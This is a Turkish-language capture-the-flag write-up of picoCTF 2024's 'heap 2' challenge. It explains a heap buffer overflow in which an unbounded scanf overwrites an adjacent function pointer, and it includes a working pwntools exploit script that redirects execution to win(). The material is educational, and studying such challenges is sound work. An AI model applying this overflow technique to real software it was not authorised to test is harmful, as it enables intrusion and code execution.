PicoCTF
PicoCTF 2024 - Heap 2: Function Pointer Manipulation
December 25, 2025
Giriş
picoCTF 2024’ün Binary Exploitation kategorisindeki “heap 2” problemi, heap tabanlı bellek yönetimi zafiyetlerini ve fonksiyon işaretçisi (function pointer) manipülasyonunu anlamak için önemli bir örnektir. Bu yazıda, problemin teknik analizini ve exploit geliştirme sürecini adım adım inceleyeceğiz.
Challenge Bilgileri:
- Zorluk: Medium
- Kategori: Binary Exploitation
- Etiketler: heap, buffer overflow, function pointers
Challenge Analizi
Problem, fonksiyon işaretçilerini yönetip yönetemeyeceğimizi soruyor (“Can you handle function pointers?”). Bize verilenler:
- Binary dosyası: Çalıştırılabilir program
- Kaynak kod: C dilinde yazılmış program
Analizimizin merkezinde, programın heap belleği nasıl kullandığı ve fonksiyon işaretçilerinin bellekteki konumu yer alacak.
Kaynak Kod İncelemesi
Programın kritik kısımlarını incelediğimizde, bellek yönetimi ve potansiyel zafiyet noktaları ortaya çıkıyor.
Global Değişkenler
char *x; // Heap'te bir adres tutacak (fonksiyon işaretçisi olarak kullanılacak)
char *input_data; // Kullanıcı girdisini tutacak buffer
Başlatma (Init) Fonksiyonu
void init() {
input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
}
Bu fonksiyon heap üzerinde ardışık iki bellek bloğu ayırır. Ancak malloc(5) çağrısı, modern bellek yöneticilerinde (allocator) genellikle hizalama (alignment) ve metadata nedeniyle 5 byte’tan daha fazla yer kaplar. Bu durum, veri blokları arasındaki gerçek mesafeyi (offset) belirlememizi gerektirir.
Hedef ve Zafiyet Noktaları
win() Fonksiyonu:
Amacımız bu fonksiyonu çalıştırmaktır. Fonksiyon, flag.txt dosyasını okuyup ekrana yazdırır.
check_win() Fonksiyonu:
void check_win() {
((void (*)())*(int*)x)();
}
Bu satır, x işaretçisinin gösterdiği bellekteki değeri okur, bu değeri bir fonksiyon adresi olarak yorumlar ve o adrese atlar (jump). Eğer x‘in gösterdiği veriyi kontrol edebilirsek, programın akışını istediğimiz fonksiyona yönlendirebiliriz.
write_buffer() - Zafiyet Kaynağı:
void write_buffer() {
scanf("%s", input_data);
}
scanf("%s", ...) fonksiyonu, alınan girdinin uzunluğunu kontrol etmez. input_data için ayrılan alan sınırlı olsa da, buraya daha uzun veri yazarak bellekteki diğer alanların üzerine yazabiliriz (Buffer Overflow).
Bellek Yapısı ve Offset Analizi
Programın heap üzerindeki davranışını anlamak için bellek düzenini görselleştirmemiz gerekir.
Programı çalıştırıp bellek adreslerini incelediğimizde (Option 1):
input_dataadresi:0x...b0xadresi:0x...d0
İki adres arasındaki fark 0x20 yani 32 byte‘tır. Bu, malloc(5) çağrısına rağmen heap yöneticisinin minimum chunk boyutu ve hizalama nedeniyle araya dolgu (padding) verisi koyduğunu gösterir.
Heap Bellek Düzeni (Görsel Anlatım)
Bu durumu şöyle düşünebilirsiniz: Bellekte iki ayrı kutumuz var. İlk kutu (input_data) bizim yazı yazdığımız yer, ikinci kutu (x) ise programın nereye gideceğini gösteren bir tabelayı saklıyor.
Biz kodda “bana 5 byte ver” desek de, sistem düzenli çalışmak için (hafıza hizalaması/alignment yüzünden) araya boşluklar koyuyor. Aşağıdaki çizimde bu iki kutu arasındaki 32 byte’lık boşluğu (offset) görebilirsiniz:
Şekil 1: Programın hafızadaki görünümü. input_data ve x blokları arasında, teknik sebeplerle oluşan 32 byte’lık bir boşluk var.
Exploit Stratejisi
Zafiyeti kullanmak için izleyeceğimiz yol şudur:
input_databuffer’ına yazarken 32 byte’lık sınırı aşacağız.- Taşan veri ile, bellekte hemen
input_data‘dan sonra gelenxbloğunun içeriğini değiştireceğiz. xbloğunun içine, hedefimiz olanwin()fonksiyonunun adresini yazacağız.check_win()fonksiyonu çağrıldığında, program bizim yazdığımız adrese, yaniwin()fonksiyonuna atlayacak.
Saldırı Planı (Görsel Anlatım)
Saldırıyı bir su bardağını taşırmak gibi düşünebilirsiniz. input_data bardağına kapasitesinden fazla su (veri) doldurduğumuzda, taşan su (veriler) hemen aşağıdaki x bardağına dökülür.
Biz de input_data‘ya 32 byte’tan fazla veri (“A” harfleri) göndererek aradaki boşluğu dolduruyoruz ve taşan kısımla x kutusundaki tabelayı değiştiriyoruz. Tabelaya win() fonksiyonunun adresini yazıyoruz. Böylece program tabelaya baktığında bizim istediğimiz yere gidiyor.
Şekil 2: Saldırı anı. Üstteki kutudan taşan “A” harfleri aradaki boşluğu dolduruyor ve alttaki kutuda duran “gidelecek adres” bilgisini win() fonksiyonunun adresiyle değiştiriyor.
Exploit Geliştirme
1. Hedef Adresin Tespiti
win() fonksiyonunun adresini bulmak için objdump veya gdb kullanabiliriz.
Analiz sonucunda win fonksiyonunun adresi: 0x4011a0
2. Payload Hazırlama
Hedef sisteme göndereceğimiz veri paketi (payload) şu yapıda olmalıdır:
- Dolgu (Padding):
input_datailexarasındaki mesafeyi doldurmak için 32 adet karakter (örneğin ‘A’). - Hedef Adres:
win()fonksiyonunun adresi (0x4011a0).
x86-64 mimarisinde adresler little-endian formatında yazılmalıdır. Yani baytlar ters sırada yerleştirilir: \xa0\x11\x40\x00\x00\x00\x00\x00.
3. Python Exploit Kodu
#!/usr/bin/env python3
from pwn import *
# Hedef sistem bilgileri
HOST = 'mimas.picoctf.net'
PORT = 64012
# win() fonksiyonunun adresi
win_addr = 0x4011a0
try:
# Bağlantıyı başlat
p = remote(HOST, PORT)
# Menüden "Write to buffer" (2) seçeneğini seç
p.recvuntil(b'choice: ')
p.sendline(b'2')
p.recvuntil(b'buffer: ')
# Payload: 32 byte padding + win adresi (64-bit packed)
payload = b'A' * 32 + p64(win_addr)
p.sendline(payload)
# Menüden "Check win" (4) seçeneğini seç
p.recvuntil(b'choice: ')
p.sendline(b'4')
# Flag'i oku ve yazdır
flag = p.recvline().decode().strip()
log.success(f"FLAG: {flag}")
p.close()
except Exception as e:
log.error(f"Hata: {e}")
Çalıştırma Sonuçları
Exploit’i önce kendi bilgisayarımızda (lokal), sonra da gerçek hedef üzerinde (remote) test ettik.
Şekil 3: Exploit’in yerel ortamda çalıştırılması.
Şekil 4: Uzak sunucuda exploit’in başarıyla çalışması ve flag’in elde edilmesi.
Teknik Detaylar
Function Pointer Casting
check_win() fonksiyonundaki ((void (*)())*(int*)x)(); ifadesi karmaşık görünse de aslında basit bir pointer işlemi yapar.
Bunu şu şekilde düşünebilirsiniz:
- Normal Durum: Program bir tabelaya (
x) bakar. Tabela “bico şehrine git” der. - Saldırı Sonrası: Biz bu tabelanın üzerine yeni bir etiket yapıştırırız. Artık tabela “win() şehrine git” demektedir. Program tabelanın değiştiğini anlamaz ve safça yeni adrese gider.
Şekil 5: Fonksiyon işaretçisi manipülasyonunun basit mantığı. İşaretçiler (pointer) bellekte sadece bir adresi gösteren tabelalardır. Tabelayı değiştirebilirseniz, trafiğin akışını da değiştirebilirsiniz.
Teknik olarak gerçekleşen adımlar:
xpointer’ı integer pointer’a (int*) dönüştürülür.- İşaret edilen bellek bölgesindeki veri okunur (
dereference). - Okunan bu veri, bir fonksiyon adresi (
void (*)()) olarak kabul edilir. - Program bu adrese dallanır.
Malloc ve Alignment
Glibc malloc, bellek isteklerini belirli boyutlara (genellikle 16 veya 32 byte) hizalar. 5 byte veri istendiğinde, hem veriyi tutmak hem de metadata (chunk size, flags) için yer ayırmak amacıyla sistem daha büyük bir blok tahsis eder. Bu “gizli” mesafe, exploit yazarken doğru offset’i bulmak için kritik öneme sahiptir.
Sonuç
Heap 2 problemi, modern yazılım güvenliğinde bellek sınırlarının ve tip güvenliğinin önemini göstermektedir. Kullanıcı girdisinin kontrolsüz bir şekilde belleğe yazılması, programın akışının tamamen değiştirilmesine yol açabilir. Bu tür zafiyetleri önlemek için güvenli fonksiyonlar kullanılmalı ve bellek sınırları her zaman doğrulanmalıdır.
Yorumlar